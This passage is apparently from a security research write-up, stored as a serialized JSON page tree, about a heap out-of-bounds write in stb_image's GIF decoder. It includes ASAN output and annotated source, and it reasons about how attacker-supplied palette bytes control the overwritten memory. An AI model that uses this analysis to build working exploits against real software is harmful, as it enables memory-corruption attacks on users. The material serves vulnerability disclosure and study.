[...]\n",{"type":24,"tag":147,"props":152700,"children":152701},{"class":149,"line":205},[152702],{"type":24,"tag":147,"props":152703,"children":152704},{"emptyLinePlaceholder":16},[152705],{"type":29,"value":314},{"type":24,"tag":147,"props":152707,"children":152708},{"class":149,"line":214},[152709,152713,152717,152721,152725,152730,152734,152739,152743,152748,152752,152756],{"type":24,"tag":147,"props":152710,"children":152711},{"style":321},[152712],{"type":29,"value":58234},{"type":24,"tag":147,"props":152714,"children":152715},{"style":235},[152716],{"type":29,"value":408},{"type":24,"tag":147,"props":152718,"children":152719},{"style":247},[152720],{"type":29,"value":114872},{"type":24,"tag":147,"props":152722,"children":152723},{"style":235},[152724],{"type":29,"value":495},{"type":24,"tag":147,"props":152726,"children":152727},{"style":247},[152728],{"type":29,"value":152729},"cur_y",{"type":24,"tag":147,"props":152731,"children":152732},{"style":241},[152733],{"type":29,"value":1623},{"type":24,"tag":147,"props":152735,"children":152736},{"style":247},[152737],{"type":29,"value":152738}," g",{"type":24,"tag":147,"props":152740,"children":152741},{"style":235},[152742],{"type":29,"value":495},{"type":24,"tag":147,"props":152744,"children":152745},{"style":247},[152746],{"type":29,"value":152747},"max_y",{"type":24,"tag":147,"props":152749,"children":152750},{"style":235},[152751],{"type":29,"value":564},{"type":24,"tag":147,"props":152753,"children":152754},{"style":321},[152755],{"type":29,"value":54056},{"type":24,"tag":147,"props":152757,"children":152758},{"style":235},[152759],{"type":29,"value":432},{"type":24,"tag":147,"props":152761,"children":152762},{"class":149,"line":272},[152763],{"type":24,"tag":147,"props":152764,"children":152765},{"emptyLinePlaceholder":16},[152766],{"type":29,"value":314},{"type":24,"tag":147,"props":152768,"children":152769},{"class":149,"line":281},[152770,152775,152779,152783,152787,152792,152796,152800,152804,152808],{"type":24,"tag":147,"props":152771,"children":152772},{"style":235},[152773],{"type":29,"value":152774},"   idx ",{"type":24,"tag":147,"props":152776,"children":152777},{"style":241},[152778],{"type":29,"value":369},{"type":24,"tag":147,"props":152780,"children":152781},{"style":247},[152782],{"type":29,"value":152738},{"type":24,"tag":147,"props":152784,"children":152785},{"style":235},[152786],{"type":29,"value":495},{"type":24,"tag":147,"props":152788,"children":152789},{"style":247},[152790],{"type":29,"value":152791},"cur_x",{"type":24,"tag":147,"props":152793,"children":152794},{"style":241},[152795],{"type":29,"value":1734},{"type":24,"tag":147,"props":152797,"children":152798},{"style":247},[152799],{"type":29,"value":152738},{"type":24,"tag":147,"props":152801,"children":152802},{"style":235},[152803],{"type":29,"value":495},{"type":24,"tag":147,"props":152805,"children":152806},{"style":247},[152807],{"type":29,"value":152729},{"type":24,"tag":147,"props":152809,"children":152810},{"style":235},[152811],{"type":29,"value":152812},"; \n",{"type":24,"tag":147,"props":152814,"children":152815},{"class":149,"line":299},[152816,152821,152825,152829,152833,152837,152841],{"type":24,"tag":147,"props":152817,"children":152818},{"style":235},[152819],{"type":29,"value":152820},"   p ",{"type":24,"tag":147,"props":152822,"children":152823},{"style":241},[152824],{"type":29,"value":369},{"type":24,"tag":147,"props":152826,"children":152827},{"style":241},[152828],{"type":29,"value":12767},{"type":24,"tag":147,"props":152830,"children":152831},{"style":247},[152832],{"type":29,"value":114872},{"type":24,"tag":147,"props":152834,"children":152835},{"style":235},[152836],{"type":29,"value":495},{"type":24,"tag":147,"props":152838,"children":152839},{"style":247},[152840],{"type":29,"value":124294},{"type":24,"tag":147,"props":152842,"children":152843},{"style":235},[152844],{"type":29,"value":152845},"[idx];\n",{"type":24,"tag":147,"props":152847,"children":152848},{"class":149,"line":308},[152849,152854,152858,152863,152868,152872,152876,152880,152884,152888,152892],{"type":24,"tag":147,"props":152850,"children":152851},{"style":247},[152852],{"type":29,"value":152853},"   g",{"type":24,"tag":147,"props":152855,"children":152856},{"style":235},[152857],{"type":29,"value":495},{"type":24,"tag":147,"props":152859,"children":152860},{"style":247},[152861],{"type":29,"value":152862},"history",{"type":24,"tag":147,"props":152864,"children":152865},{"style":235},[152866],{"type":29,"value":152867},"[idx ",{"type":24,"tag":147,"props":152869,"children":152870},{"style":241},[152871],{"type":29,"value":10204},{"type":24,"tag":147,"props":152873,"children":152874},{"style":705},[152875],{"type":29,"value":17364},{"type":24,"tag":147,"props":152877,"children":152878},{"style":235},[152879],{"type":29,"value":14286},{"type":24,"tag":147,"props":152881,"children":152882},{"style":241},[152883],{"type":29,"value":369},{"type":24,"tag":147,"props":152885,"children":152886},{"style":705},[152887],{"type":29,"value":10147},{"type":24,"tag":147,"props":152889,"children":152890},{"style":235},[152891],{"type":29,"value":54672},{"type":24,"tag":147,"props":152893,"children":152894},{"style":154},[152895],{"type":29,"value":152896},"          // OOB write\n",{"type":24,"tag":25,"props":152898,"children":152899},{},[152900,152902,152907,152909,152915,152917,152923],{"type":29,"value":152901},"It’s reasonable to assume ",{"type":24,"tag":80,"props":152903,"children":152905},{"className":152904},[],[152906],{"type":29,"value":82101},{"type":29,"value":152908}," is outside the bounds of ",{"type":24,"tag":80,"props":152910,"children":152912},{"className":152911},[],[152913],{"type":29,"value":152914},"g->history",{"type":29,"value":152916},", which leads to a one-byte OOB write (",{"type":24,"tag":80,"props":152918,"children":152920},{"className":152919},[],[152921],{"type":29,"value":152922},"g->history[idx / 4] = 1",{"type":29,"value":152924},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":24,"tag":25,"props":152926,"children":152927},{},[152928,152930,152935,152937,152943,152945,152950,152952,152958,152960,152966],{"type":29,"value":152929},"Because ",{"type":24,"tag":80,"props":152931,"children":152933},{"className":152932},[],[152934],{"type":29,"value":25},{"type":29,"value":152936}," is computed from ",{"type":24,"tag":80,"props":152938,"children":152940},{"className":152939},[],[152941],{"type":29,"value":152942},"g->out[idx]",{"type":29,"value":152944}," immediately before the violation, we considered whether ",{"type":24,"tag":80,"props":152946,"children":152948},{"className":152947},[],[152949],{"type":29,"value":82101},{"type":29,"value":152951}," could also be OOB for ",{"type":24,"tag":80,"props":152953,"children":152955},{"className":152954},[],[152956],{"type":29,"value":152957},"g->out",{"type":29,"value":152959},". Note that computing the address ",{"type":24,"tag":80,"props":152961,"children":152963},{"className":152962},[],[152964],{"type":29,"value":152965},"&g->out[idx]",{"type":29,"value":152967}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":24,"tag":25,"props":152969,"children":152970},{},[152971,152973,152978],{"type":29,"value":152972},"If we comment out ",{"type":24,"tag":80,"props":152974,"children":152976},{"className":152975},[],[152977],{"type":29,"value":152922},{"type":29,"value":152979}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":24,"tag":137,"props":152981,"children":152983},{"code":152982},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n    #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n    [...]\n",[152984],{"type":24,"tag":80,"props":152985,"children":152986},{"__ignoreMap":7},[152987],{"type":29,"value":152982},{"type":24,"tag":25,"props":152989,"children":152990},{},[152991],{"type":29,"value":152992},"This corresponds to:",{"type":24,"tag":137,"props":152994,"children":152996},{"code":152995,"language":140,"meta":7,"className":141,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   [...]\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;  \n\n   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];        // OOB write\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[152997],{"type":24,"tag":80,"props":152998,"children":152999},{"__ignoreMap":7},[153000,153039,153046,153053,153060,153103,153134,153178,153185,153253,153293,153338,153377,153416,153455],{"type":24,"tag":147,"props":153001,"children":153002},{"class":149,"line":150},[153003,153007,153011,153015,153019,153023,153027,153031,153035],{"type":24,"tag":147,"props":153004,"children":153005},{"style":218},[153006],{"type":29,"value":221},{"type":24,"tag":147,"props":153008,"children":153009},{"style":218},[153010],{"type":29,"value":226},{"type":24,"tag":147,"props":153012,"children":153013},{"style":229},[153014],{"type":29,"value":152611},{"type":24,"tag":147,"props":153016,"children":153017},{"style":235},[153018],{"type":29,"value":152616},{"type":24,"tag":147,"props":153020,"children":153021},{"style":241},[153022],{"type":29,"value":244},{"type":24,"tag":147,"props":153024,"children":153025},{"style":247},[153026],{"type":29,"value":114872},{"type":24,"tag":147,"props":153028,"children":153029},{"style":235},[153030],{"type":29,"value":152629},{"type":24,"tag":147,"props":153032,"children":153033},{"style":247},[153034],{"type":29,"value":80},{"type":24,"tag":147,"props":153036,"children":153037},{"style":235},[153038],{"type":29,"value":269},{"type":24,"tag":147,"props":153040,"children":153041},{"class":149,"line":160},[153042],{"type":24,"tag":147,"props":153043,"children":153044},{"style":235},[153045],{"type":29,"value":278},{"type":24,"tag":147,"props":153047,"children":153048},{"class":149,"line":169},[153049],{"type":24,"tag":147,"props":153050,"children":153051},{"style":235},[153052],{"type":29,"value":152698},{"type":24,"tag":147,"props":153054,"children":153055},{"class":149,"line":178},[153056],{"type":24,"tag":147,"props":153057,"children":153058},{"emptyLinePlaceholder":16},[153059],{"type":29,"value":314},{"type":24,"tag":147,"props":153061,"children":153062},{"class":149,"line":187},[153063,153067,153071,153075,153079,153083,153087,153091,153095,153099],{"type":24,"tag":147,"props":153064,"children":153065},{"style":235},[153066],{"type":29,"value":152774},{"type":24,"tag":147,"props":153068,"children":153069},{"style":241},[153070],{"type":29,"value":369},{"type":24,"tag":147,"props":153072,"children":153073},{"style":247},[153074],{"type":29,"value":152738},{"type":24,"tag":147,"props":153076,"children":153077},{"style":235},[153078],{"type":29,"value":495},{"type":24,"tag":147,"props":153080,"children":153081},{"style":247},[153082],{"type":29,"value":152791},{"type":24,"tag":147,"props":153084,"children":153085},{"style":241},[153086],{"type":29,"value":1734},{"type":24,"tag":147,"props":153088,"children":153089},{"style":247},[153090],{"type":29,"value":152738},{"type":24,"tag":147,"props":153092,"children":153093},{"style":235},[153094],{"type":29,"value":495},{"type":24,"tag":147,"props":153096,"children":153097},{"style":247},[153098],{"type":29,"value":152729},{"type":24,"tag":147,"props":153100,"children":153101},{"style":235},[153102],{"type":29,"value":152812},{"type":24,"tag":147,"props":153104,"children":153105},{"class":149,"line":196},[153106,153110,153114,153118,153122,153126,153130],{"type":24,"tag":147,"props":153107,"children":153108},{"style":235},[153109],{"type":29,"value":152820},{"type":24,"tag":147,"props":153111,"children":153112},{"style":241},[153113],{"type":29,"value":369},{"type":24,"tag":147,"props":153115,"children":153116},{"style":241},[153117],{"type":29,"value":12767},{"type":24,"tag":147,"props":153119,"children":153120},{"style":247},[153121],{"type":29,"value":114872},{"type":24,"tag":147,"props":153123,"children":153124},{"style":235},[153125],{"type":29,"value":495},{"type":24,"tag":147,"props":153127,"children":153128},{"style":247},[153129],{"type":29,"value":124294},{"type":24,"tag":147,"props":153131,"children":153132},{"style":235},[153133],{"type":29,"value":152845},{"type":24,"tag":147,"props":153135,"children":153136},{"class":149,"line":205},[153137,153141,153145,153149,153153,153157,153161,153165,153169,153173],{"type":24,"tag":147,"props":153138,"children":153139},{"style":247},[153140],{"type":29,"value":152853},{"type":24,"tag":147,"props":153142,"children":153143},{"style":235},[153144],{"type":29,"value":495},{"type":24,"tag":147,"props":153146,"children":153147},{"style":247},[153148],{"type":29,"value":152862},{"type":24,"tag":147,"props":153150,"children":153151},{"style":235},[153152],{"type":29,"value":152867},{"type":24,"tag":147,"props":153154,"children":153155},{"style":241},[153156],{"type":29,"value":10204},{"type":24,"tag":147,"props":153158,"children":153159},{"style":705},[153160],{"type":29,"value":17364},{"type":24,"tag":147,"props":153162,"children":153163},{"style":235},[153164],{"type":29,"value":14286},{"type":24,"tag":147,"props":153166,"children":153167},{"style":241},[153168],{"type":29,"value":369},{"type":24,"tag":147,"props":153170,"children":153171},{"style":705},[153172],{"type":29,"value":10147},{"type":24,"tag":147,"props":153174,"children":153175},{"style":235},[153176],{"type":29,"value":153177},";  \n",{"type":24,"tag":147,"props":153179,"children":153180},{"class":149,"line":214},[153181],{"type":24,"tag":147,"props":153182,"children":153183},{"emptyLinePlaceholder":16},[153184],{"type":29,"value":314},{"type":24,"tag":147,"props":153186,"children":153187},{"class":149,"line":272},[153188,153193,153197,153201,153205,153209,153214,153218,153222,153226,153231,153236,153241,153245,153249],{"type":24,"tag":147,"props":153189,"children":153190},{"style":235},[153191],{"type":29,"value":153192},"   c ",{"type":24,"tag":147,"props":153194,"children":153195},{"style":241},[153196],{"type":29,"value":369},{"type":24,"tag":147,"props":153198,"children":153199},{"style":241},[153200],{"type":29,"value":12767},{"type":24,"tag":147,"props":153202,"children":153203},{"style":247},[153204],{"type":29,"value":114872},{"type":24,"tag":147,"props":153206,"children":153207},{"style":235},[153208],{"type":29,"value":495},{"type":24,"tag":147,"props":153210,"children":153211},{"style":247},[153212],{"type":29,"value":153213},"color_table",{"type":24,"tag":147,"props":153215,"children":153216},{"style":235},[153217],{"type":29,"value":9358},{"type":24,"tag":147,"props":153219,"children":153220},{"style":247},[153221],{"type":29,"value":114872},{"type":24,"tag":147,"props":153223,"children":153224},{"style":235},[153225],{"type":29,"value":495},{"type":24,"tag":147,"props":153227,"children":153228},{"style":247},[153229],{"type":29,"value":153230},"codes",{"type":24,"tag":147,"props":153232,"children":153233},{"style":235},[153234],{"type":29,"value":153235},"[code].",{"type":24,"tag":147,"props":153237,"children":153238},{"style":247},[153239],{"type":29,"value":153240},"suffix",{"type":24,"tag":147,"props":153242,"children":153243},{"style":241},[153244],{"type":29,"value":1263},{"type":24,"tag":147,"props":153246,"children":153247},{"style":705},[153248],{"type":29,"value":17364},{"type":24,"tag":147,"props":153250,"children":153251},{"style":235},[153252],{"type":29,"value":37174},{"type":24,"tag":147,"props":153254,"children":153255},{"class":149,"line":281},[153256,153260,153264,153268,153272,153276,153280,153284,153289],{"type":24,"tag":147,"props":153257,"children":153258},{"style":321},[153259],{"type":29,"value":58234},{"type":24,"tag":147,"props":153261,"children":153262},{"style":235},[153263],{"type":29,"value":408},{"type":24,"tag":147,"props":153265,"children":153266},{"style":247},[153267],{"type":29,"value":140},{"type":24,"tag":147,"props":153269,"children":153270},{"style":235},[153271],{"type":29,"value":9358},{"type":24,"tag":147,"props":153273,"children":153274},{"style":705},[153275],{"type":29,"value":22901},{"type":24,"tag":147,"props":153277,"children":153278},{"style":235},[153279],{"type":29,"value":14286},{"type":24,"tag":147,"props":153281,"children":153282},{"style":241},[153283],{"type":29,"value":3453},{"type":24,"tag":147,"props":153285,"children":153286},{"style":705},[153287],{"type":29,"value":153288}," 128",{"type":24,"tag":147,"props":153290,"children":153291},{"style":235},[153292],{"type":29,"value":505},{"type":24,"tag":147,"props":153294,"children":153295},{"class":149,"line":299},[153296,153301,153305,153309,153313,153317,153321,153325,153329,153333],{"type":24,"tag":147,"props":153297,"children":153298},{"style":247},[153299],{"type":29,"value":153300},"      p",{"type":24,"tag":147,"props":153302,"children":153303},{"style":235},[153304],{"type":29,"value":9358},{"type":24,"tag":147,"props":153306,"children":153307},{"style":705},[153308],{"type":29,"value":3173},{"type":24,"tag":147,"props":153310,"children":153311},{"style":235},[153312],{"type":29,"value":14286},{"type":24,"tag":147,"props":153314,"children":153315},{"style":241},[153316],{"type":29,"value":369},{"type":24,"tag":147,"props":153318,"children":153319},{"style":247},[153320],{"type":29,"value":43043},{"type":24,"tag":147,"props":153322,"children":153323},{"style":235},[153324],{"type":29,"value":9358},{"type":24,"tag":147,"props":153326,"children":153327},{"style":705},[153328],{"type":29,"value":8753},{"type":24,"tag":147,"props":153330,"children":153331},{"style":235},[153332],{"type":29,"value":61499},{"type":24,"tag":147,"props":153334,"children":153335},{"style":154},[153336],{"type":29,"value":153337},"        // OOB write\n",{"type":24,"tag":147,"props":153339,"children":153340},{"class":149,"line":308},[153341,153345,153349,153353,153357,153361,153365,153369,153373],{"type":24,"tag":147,"props":153342,"children":153343},{"style":247},[153344],{"type":29,"value":153300},{"type":24,"tag":147,"props":153346,"children":153347},{"style":235},[153348],{"type":29,"value":9358},{"type":24,"tag":147,"props":153350,"children":153351},{"style":705},[153352],{"type":29,"value":1154},{"type":24,"tag":147,"props":153354,"children":153355},{"style":235},[153356],{"type":29,"value":14286},{"type":24,"tag":147,"props":153358,"children":153359},{"style":241},[153360],{"type":29,"value":369},{"type":24,"tag":147,"props":153362,"children":153363},{"style":247},[153364],{"type":29,"value":43043},{"type":24,"tag":147,"props":153366,"children":153367},{"style":235},[153368],{"type":29,"value":9358},{"type":24,"tag":147,"props":153370,"children":153371},{"style":705},[153372],{"type":29,"value":1154},{"type":24,"tag":147,"props":153374,"children":153375},{"style":235},[153376],{"type":29,"value":37174},{"type":24,"tag":147,"props":153378,"children":153379},{"class":149,"line":317},[153380,153384,153388,153392,153396,153400,153404,153408,153412],{"type":24,"tag":147,"props":153381,"children":153382},{"style":247},[153383],{"type":29,"value":153300},{"type":24,"tag":147,"props":153385,"children":153386},{"style":235},[153387],{"type":29,"value":9358},{"type":24,"tag":147,"props":153389,"children":153390},{"style":705},[153391],{"type":29,"value":8753},{"type":24,"tag":147,"props":153393,"children":153394},{"style":235},[153395],{"type":29,"value":14286},{"type":24,"tag":147,"props":153397,"children":153398},{"style":241},[153399],{"type":29,"value":369},{"type":24,"tag":147,"props":153401,"children":153402},{"style":247},[153403],{"type":29,"value":43043},{"type":24,"tag":147,"props":153405,"children":153406},{"style":235},[153407],{"type":29,"value":9358},{"type":24,"tag":147,"props":153409,"children":153410},{"style":705},[153411],{"type":29,"value":3173},{"type":24,"tag":147,"props":153413,"children":153414},{"style":235},[153415],{"type":29,"value":37174},{"type":24,"tag":147,"props":153417,"children":153418},{"class":149,"line":332},[153419,153423,153427,153431,153435,153439,153443,153447,153451],{"type":24,"tag":147,"props":153420,"children":153421},{"style":247},[153422],{"type":29,"value":153300},{"type":24,"tag":147,"props":153424,"children":153425},{"style":235},[153426],{"type":29,"value":9358},{"type":24,"tag":147,"props":153428,"children":153429},{"style":705},[153430],{"type":29,"value":22901},{"type":24,"tag":147,"props":153432,"children":153433},{"style":235},[153434],{"type":29,"value":14286},{"type":24,"tag":147,"props":153436,"children":153437},{"style":241},[153438],{"type":29,"value":369},{"type":24,"tag":147,"props":153440,"children":153441},{"style":247},[153442],{"type":29,"value":43043},{"type":24,"tag":147,"props":153444,"children":153445},{"style":235},[153446],{"type":29,"value":9358},{"type":24,"tag":147,"props":153448,"children":153449},{"style":705},[153450],{"type":29,"value":22901},{"type":24,"tag":147,"props":153452,"children":153453},{"style":235},[153454],{"type":29,"value":37174},{"type":24,"tag":147,"props":153456,"children":153457},{"class":149,"line":350},[153458],{"type":24,"tag":147,"props":153459,"children":153460},{"style":235},[153461],{"type":29,"value":40349},{"type":24,"tag":25,"props":153463,"children":153464},{},[153465,153467,153472,153474,153479],{"type":29,"value":153466},"This confirms ",{"type":24,"tag":80,"props":153468,"children":153470},{"className":153469},[],[153471],{"type":29,"value":82101},{"type":29,"value":153473}," is OOB for ",{"type":24,"tag":80,"props":153475,"children":153477},{"className":153476},[],[153478],{"type":29,"value":152957},{"type":29,"value":153480}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":24,"tag":25,"props":153482,"children":153483},{},[153484,153486,153492,153494,153501],{"type":29,"value":153485},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":24,"tag":80,"props":153487,"children":153489},{"className":153488},[],[153490],{"type":29,"value":153491},"g->color_table",{"type":29,"value":153493}," is populated by ",{"type":24,"tag":2773,"props":153495,"children":153498},{"href":153496,"rel":153497},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[2777],[153499],{"type":29,"value":153500},"stbi__gif_parse_colortable",{"type":29,"value":978},{"type":24,"tag":137,"props":153503,"children":153505},{"code":153504,"language":140,"meta":7,"className":141,"style":7},"static void stbi__gif_parse_colortable(\n    stbi__context *s,\n    stbi_uc pal[256][4],    // g->color_table\n    int num_entries,\n    int transp\n) {\n   int i;\n   for (i=0; i \u003C num_entries; ++i) {\n      pal[i][2] = stbi__get8(s);\n      pal[i][1] = stbi__get8(s);\n      pal[i][0] = stbi__get8(s);\n      pal[i][3] = transp == i ? 0 : 255;\n   }\n}\n",[153506],{"type":24,"tag":80,"props":153507,"children":153508},{"__ignoreMap":7},[153509,153529,153549,153588,153604,153616,153623,153634,153677,153711,153742,153773,153830,153837],{"type":24,"tag":147,"props":153510,"children":153511},{"class":149,"line":150},[153512,153516,153520,153525],{"type":24,"tag":147,"props":153513,"children":153514},{"style":218},[153515],{"type":29,"value":221},{"type":24,"tag":147,"props":153517,"children":153518},{"style":218},[153519],{"type":29,"value":226},{"type":24,"tag":147,"props":153521,"children":153522},{"style":229},[153523],{"type":29,"value":153524}," stbi__gif_parse_colortable",{"type":24,"tag":147,"props":153526,"children":153527},{"style":235},[153528],{"type":29,"value":9088},{"type":24,"tag":147,"props":153530,"children":153531},{"class":149,"line":160},[153532,153537,153541,153545],{"type":24,"tag":147,"props":153533,"children":153534},{"style":235},[153535],{"type":29,"value":153536},"    stbi__context ",{"type":24,"tag":147,"props":153538,"children":153539},{"style":241},[153540],{"type":29,"value":244},{"type":24,"tag":147,"props":153542,"children":153543},{"style":247},[153544],{"type":29,"value":2203},{"type":24,"tag":147,"props":153546,"children":153547},{"style":235},[153548],{"type":29,"value":1549},{"type":24,"tag":147,"props":153550,"children":153551},{"class":149,"line":169},[153552,153557,153562,153566,153570,153574,153578,153583],{"type":24,"tag":147,"props":153553,"children":153554},{"style":235},[153555],{"type":29,"value":153556},"    stbi_uc ",{"type":24,"tag":147,"props":153558,"children":153559},{"style":247},[153560],{"type":29,"value":153561},"pal",{"type":24,"tag":147,"props":153563,"children":153564},{"style":235},[153565],{"type":29,"value":9358},{"type":24,"tag":147,"props":153567,"children":153568},{"style":705},[153569],{"type":29,"value":98878},{"type":24,"tag":147,"props":153571,"children":153572},{"style":235},[153573],{"type":29,"value":54556},{"type":24,"tag":147,"props":153575,"children":153576},{"style":705},[153577],{"type":29,"value":23134},{"type":24,"tag":147,"props":153579,"children":153580},{"style":235},[153581],{"type":29,"value":153582},"],",{"type":24,"tag":147,"props":153584,"children":153585},{"style":154},[153586],{"type":29,"value":153587},"    // g->color_table\n",{"type":24,"tag":147,"props":153589,"children":153590},{"class":149,"line":178},[153591,153595,153600],{"type":24,"tag":147,"props":153592,"children":153593},{"style":218},[153594],{"type":29,"value":4499},{"type":24,"tag":147,"props":153596,"children":153597},{"style":247},[153598],{"type":29,"value":153599}," num_entries",{"type":24,"tag":147,"props":153601,"children":153602},{"style":235},[153603],{"type":29,"value":1549},{"type":24,"tag":147,"props":153605,"children":153606},{"class":149,"line":187},[153607,153611],{"type":24,"tag":147,"props":153608,"children":153609},{"style":218},[153610],{"type":29,"value":4499},{"type":24,"tag":147,"props":153612,"children":153613},{"style":235},[153614],{"type":29,"value":153615}," transp\n",{"type":24,"tag":147,"props":153617,"children":153618},{"class":149,"line":196},[153619],{"type":24,"tag":147,"props":153620,"children":153621},{"style":235},[153622],{"type":29,"value":505},{"type":24,"tag":147,"props":153624,"children":153625},{"class":149,"line":205},[153626,153630],{"type":24,"tag":147,"props":153627,"children":153628},{"style":218},[153629],{"type":29,"value":152678},{"type":24,"tag":147,"props":153631,"children":153632},{"style":235},[153633],{"type":29,"value":63550},{"type":24,"tag":147,"props":153635,"children":153636},{"class":149,"line":214},[153637,153642,153647,153651,153655,153659,153663,153668,153672],{"type":24,"tag":147,"props":153638,"children":153639},{"style":321},[153640],{"type":29,"value":153641},"   for",{"type":24,"tag":147,"props":153643,"children":153644},{"style":235},[153645],{"type":29,"value":153646}," (i",{"type":24,"tag":147,"props":153648,"children":153649},{"style":241},[153650],{"type":29,"value":369},{"type":24,"tag":147,"props":153652,"children":153653},{"style":705},[153654],{"type":29,"value":3173},{"type":24,"tag":147,"props":153656,"children":153657},{"style":235},[153658],{"type":29,"value":56827},{"type":24,"tag":147,"props":153660,"children":153661},{"style":241},[153662],{"type":29,"value":3583},{"type":24,"tag":147,"props":153664,"children":153665},{"style":235},[153666],{"type":29,"value":153667}," num_entries; ",{"type":24,"tag":147,"props":153669,"children":153670},{"style":241},[153671],{"type":29,"value":56862},{"type":24,"tag":147,"props":153673,"children":153674},{"style":235},[153675],{"type":29,"value":153676},"i) {\n",{"type":24,"tag":147,"props":153678,"children":153679},{"class":149,"line":272},[153680,153685,153689,153693,153697,153701,153706],{"type":24,"tag":147,"props":153681,"children":153682},{"style":247},[153683],{"type":29,"value":153684},"      pal",{"type":24,"tag":147,"props":153686,"children":153687},{"style":235},[153688],{"type":29,"value":66236},{"type":24,"tag":147,"props":153690,"children":153691},{"style":705},[153692],{"type":29,"value":8753},{"type":24,"tag":147,"props":153694,"children":153695},{"style":235},[153696],{"type":29,"value":14286},{"type":24,"tag":147,"props":153698,"children":153699},{"style":241},[153700],{"type":29,"value":369},{"type":24,"tag":147,"props":153702,"children":153703},{"style":229},[153704],{"type":29,"value":153705}," stbi__get8",{"type":24,"tag":147,"props":153707,"children":153708},{"style":235},[153709],{"type":29,"value":153710},"(s);\n",{"type":24,"tag":147,"props":153712,"children":153713},{"class":149,"line":281},[153714,153718,153722,153726,153730,153734,153738],{"type":24,"tag":147,"props":153715,"children":153716},{"style":247},[153717],{"type":29,"value":153684},{"type":24,"tag":147,"props":153719,"children":153720},{"style":235},[153721],{"type":29,"value":66236},{"type":24,"tag":147,"props":153723,"children":153724},{"style":705},[153725],{"type":29,"value":1154},{"type":24,"tag":147,"props":153727,"children":153728},{"style":235},[153729],{"type":29,"value":14286},{"type":24,"tag":147,"props":153731,"children":153732},{"style":241},[153733],{"type":29,"value":369},{"type":24,"tag":147,"props":153735,"children":153736},{"style":229},[153737],{"type":29,"value":153705},{"type":24,"tag":147,"props":153739,"children":153740},{"style":235},[153741],{"type":29,"value":153710},{"type":24,"tag":147,"props":153743,"children":153744},{"class":149,"line":299},[153745,153749,153753,153757,153761,153765,153769],{"type":24,"tag":147,"props":153746,"children":153747},{"style":247},[153748],{"type":29,"value":153684},{"type":24,"tag":147,"props":153750,"children":153751},{"style":235},[153752],{"type":29,"value":66236},{"type":24,"tag":147,"props":153754,"children":153755},{"style":705},[153756],{"type":29,"value":3173},{"type":24,"tag":147,"props":153758,"children":153759},{"style":235},[153760],{"type":29,"value":14286},{"type":24,"tag":147,"props":153762,"children":153763},{"style":241},[153764],{"type":29,"value":369},{"type":24,"tag":147,"props":153766,"children":153767},{"style":229},[153768],{"type":29,"value":153705},{"type":24,"tag":147,"props":153770,"children":153771},{"style":235},[153772],{"type":29,"value":153710},{"type":24,"tag":147,"props":153774,"children":153775},{"class":149,"line":308},[153776,153780,153784,153788,153792,153796,153801,153805,153809,153813,153817,153821,153826],{"type":24,"tag":147,"props":153777,"children":153778},{"style":247},[153779],{"type":29,"value":153684},{"type":24,"tag":147,"props":153781,"children":153782},{"style":235},[153783],{"type":29,"value":66236},{"type":24,"tag":147,"props":153785,"children":153786},{"style":705},[153787],{"type":29,"value":22901},{"type":24,"tag":147,"props":153789,"children":153790},{"style":235},[153791],{"type":29,"value":14286},{"type":24,"tag":147,"props":153793,"children":153794},{"style":241},[153795],{"type":29,"value":369},{"type":24,"tag":147,"props":153797,"children":153798},{"style":235},[153799],{"type":29,"value":153800}," transp ",{"type":24,"tag":147,"props":153802,"children":153803},{"style":241},[153804],{"type":29,"value":6600},{"type":24,"tag":147,"props":153806,"children":153807},{"style":235},[153808],{"type":29,"value":60133},{"type":24,"tag":147,"props":153810,"children":153811},{"style":241},[153812],{"type":29,"value":8785},{"type":24,"tag":147,"props":153814,"children":153815},{"style":705},[153816],{"type":29,"value":708},{"type":24,"tag":147,"props":153818,"children":153819},{"style":241},[153820],{"type":29,"value":40717},{"type":24,"tag":147,"props":153822,"children":153823},{"style":705},[153824],{"type":29,"value":153825}," 255",{"type":24,"tag":147,"props":153827,"children":153828},{"style":235},[153829],{"type":29,"value":432},{"type":24,"tag":147,"props":153831,"children":153832},{"class":149,"line":317},[153833],{"type":24,"tag":147,"props":153834,"children":153835},{"style":235},[153836],{"type":29,"value":40349},{"type":24,"tag":147,"props":153838,"children":153839},{"class":149,"line":332},[153840],{"type":24,"tag":147,"props":153841,"children":153842},{"style":235},[153843],{"type":29,"value":827},{"type":24,"tag":25,"props":153845,"children":153846},{},[153847,153849,153854,153855,153860,153862,153867],{"type":29,"value":153848},"The first three bytes are read from the input image, while the last byte can be either ",{"type":24,"tag":80,"props":153850,"children":153852},{"className":153851},[],[153853],{"type":29,"value":3173},{"type":29,"value":18751},{"type":24,"tag":80,"props":153856,"children":153858},{"className":153857},[],[153859],{"type":29,"value":118916},{"type":29,"value":153861},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":24,"tag":80,"props":153863,"children":153865},{"className":153864},[],[153866],{"type":29,"value":35448},{"type":29,"value":978},{"type":24,"tag":137,"props":153869,"children":153871},{"code":153870,"language":140,"meta":7,"className":141,"style":7},"   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   